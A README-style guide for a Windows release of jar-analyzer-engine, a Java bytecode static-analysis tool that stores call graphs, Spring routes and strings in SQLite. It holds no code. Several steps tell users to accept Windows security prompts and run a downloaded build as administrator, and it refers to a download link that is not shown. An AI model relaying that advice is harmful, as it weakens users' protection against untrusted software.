jar-analyzer-engine scans Java JAR and WAR files and turns them into data you can review. It looks at method calls, class links, Spring routes, and string values. It stores the results in SQLite so you can search and review them later.
This tool is built for people who want a clear view of what a Java app contains. It helps with code review, app checks, and security work.
- Windows 10 or Windows 11
- A ZIP file or installer from the release page
- Enough free disk space for your app files and scan results
- Permission to run programs on your PC
- Java may be included in the release, or you may need to install it if the package asks for it
For best results, use a PC with at least 8 GB of memory when working with large JAR files.
- Visit the releases page.
- Find the latest version.
- Download the Windows file from that page.
- If you get a ZIP file, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the app file to start it.
If Windows shows a security prompt, choose the option that lets you run the app.
- Start jar-analyzer-engine.
- Pick a JAR or WAR file from your computer.
- Choose a folder for the output files.
- Start the scan.
- Wait for the analysis to finish.
When the scan ends, the app creates an SQLite database with the results. You can open that file later for review or sharing.
- Method call graphs
- Inheritance trees
- Spring routes
- String constants
- Class and package links
- File-level scan data
This gives you a plain view of how the app works and how its parts connect.
The app saves scan data in SQLite. You may also see extra files that help with review, such as:
- A database file with analysis results
- Log files for scan progress
- Export files for later use
- Folder data that matches the source JAR or WAR
Keep the output folder in a safe place so you can return to it later.
- Open the app.
- Load one Java archive at a time, or use a batch folder if the app build supports it.
- Select your output folder.
- Run the scan.
- Review the database or export files after the run.
Use this flow for app checks, code review, and basic security review.
- Check what methods call each other
- See which classes depend on others
- Find Spring web routes
- Review hard-coded strings
- Prepare data for audit work
- Compare two builds of the same app
- Use fresh builds of the JAR or WAR file
- Scan one app version at a time
- Store results in a folder with a clear name
- Keep large scans on a drive with free space
- Close other large apps while scanning big archives
If you review many files, keep each scan in its own folder. That makes later checks easier.
- Download the release from the link above.
- Extract the package.
- Open the app.
- Choose a JAR or WAR file.
- Pick an output folder named after the app version.
- Run the scan.
- Open the SQLite file in your review tool of choice.
This workflow works well for release checks and quick inspection.
.jar.war
These are standard Java archive files. The app reads their bytecode and builds a structured view of the code inside.
jar-analyzer-engine helps you look for signs that matter during code checks:
- Hidden routes
- Unused or odd methods
- Deep call chains
- Shared class inheritance
- Hard-coded strings that may hold tokens, paths, or URLs
It gives you data that is easier to sort and inspect than raw bytecode.
A typical run may create a folder like this:
output/analysis.dblogs/exports/scan-info.txt
The exact names can vary by release, but the structure should stay easy to follow.
- Check that you extracted the ZIP file first
- Run the app from the extracted folder
- Right-click the app and choose Run as administrator
- Make sure your Windows account can run downloaded apps
- Try a smaller JAR or WAR file
- Make sure the source file is not damaged
- Check that the output folder has enough free space
- Run the scan again
- Confirm that you selected the right source file
- Open the SQLite file in a viewer that can read SQLite databases
- Use the release download from GitHub
- If Windows shows a prompt, choose the option to keep or run the file
Use the jar-analyzer-engine releases page to download and run the Windows build
- JAR: A Java app file
- WAR: A Java web app file
- Bytecode: The code inside a compiled Java file
- Call graph: A map of which methods call other methods
- Inheritance tree: A view of how classes relate to each other
- SQLite: A small database file that stores results
bytecode, call-graph, code-audit, java-asm, java-bytecode, static-analysis